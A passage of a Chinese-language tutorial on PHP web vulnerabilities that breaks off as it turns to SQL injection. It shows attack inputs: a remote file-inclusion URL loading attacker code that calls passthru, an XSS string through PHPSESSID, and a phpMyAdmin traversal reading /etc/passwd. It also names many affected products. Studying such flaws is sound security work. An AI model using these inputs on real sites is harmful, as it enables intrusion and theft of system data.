php 页面漏洞分析及相关问题解决
从现在的网络安全来看,大家最关注和接触最多的
WEB 页面漏洞应该是 ASP 了,在
这方面,小竹是专家,我没发言权。然而在
PHP 方面来看,也同样存在很严重的安全问题,
但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下
PHP 页面的相关漏洞吧。
我对目前常见的
PHP 漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚
本命令执行漏洞,文件泄露漏洞,
SQL 注入漏洞等几种。当然,至于 COOKIE 欺骗等一部
分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下
怎样利用这些漏洞吧
!
首先,我们来讨论包含文件漏洞。这个漏洞应该说是
PHP 独有的吧。这是由于不充
分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以
WEB 进程权限在
系统上执行任意命令。我们来看一个例子:假设在
a.php 中有这样一句代码:
以下是引用片段:
include($include."/xxx.php");
?>
在这段代码中,
$include 一般是一个已经设置好的路径,但是我们可以通过自己
构造一个路径来达到攻击的目的。比方说我们提交
:a.php?include=http://web/b.php,这个 web
是我们用做攻击的空间,当然,
b.php 也就是我们用来攻击的代码了。我们可以在 b.php 中
写入类似于
:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web
服务器应该不能执行
php 代码,不然就出问题了。相关详情可以去看<<如何对 PHP 程序中
的 常 见 漏 洞 进 行 攻 击
>>) 。 在 这 个 漏 洞 方 面 , 出 状 况 的 很 多 , 比 方 说 :PayPal Store
Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA
SPAW Editor,Les Visiteurs,PhpGedView,X-Cart 等等一些。
接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的
URI 参数缺少
充分过滤,提交包含恶意
HTML 代码的数据,可导致触发跨站脚本攻击,可能获得目标用
户 的 敏 感 信 息 。 我 们 也 举 个 例 子
: 在 PHP Transparent 的 PHP PHP 4.3.1 以 下 版 本 中 的
index.php 页面对 PHPSESSID 缺少充分的过滤,我们可以通过这样的代码来达到攻击的目
的
:http://web/index.php?PHPSESSID=">在 script 里面我们可以构造函数来获得用户的一些敏
感 信 息 。 在 这 个 漏 洞 方 面 相 对 要 少 一 点 , 除 了
PHP Transparent 之 外 还 有 :PHP-
Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board 等等。
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过
滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的
phpMyAdmin 来做例子。在 phpMyAdmin 中,export.php 页面没有对用户提交的'what'参数进
行充分过滤,远程攻击者提交包含多个
'../'字符的数据,便可绕过 WEB ROOT 限制,以
WEB 权 限 查 看 系 统 上 的 任 意 文 件 信 息 。 比 方 说 打 入 这 样 一 个 地 址 :export.php?
what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,
有
:myPHPNuke,McNews 等等。
最后,我们又要回到最兴奋的地方了。想想我们平时在
asp 页面中用 SQL 注入有多